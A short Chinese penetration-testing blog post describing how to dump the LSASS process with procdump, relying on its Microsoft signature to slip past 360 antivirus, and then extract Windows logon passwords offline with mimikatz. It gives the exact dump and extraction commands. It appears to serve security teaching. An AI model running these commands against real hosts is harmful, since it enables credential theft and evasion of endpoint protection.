前言

最近在渗透时遇到一个情况,system权限有360不能查看其他目录,然后就有了接下来故事。

一开始是尝试mimikatz想去读取密码无奈被杀,无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

使用procdump,因为是微软的软件,有微软的签名证书,杀软不会拦截。

procdump下载地址

导出lsass

系统为Windows Server 2008 R2 Enterprise Edition Service Pack 1

将procdump64.exe上传到服务器上执行,需要管理员权限

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

执行完成后会在当前文件夹上有一个lsass.dmp文件

读取密码

然后将lsass.dmp拉到相同的系统里面,我这里虚拟机已经新建好了一个 Windows Server 2008 R2 Enterprise

然后运行mimikatz,将读取到的密码导出

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >pass.txt

最后修改:2022 年 10 月 20 日
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/15.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
如果觉得我的文章对你有用,请随意赞赏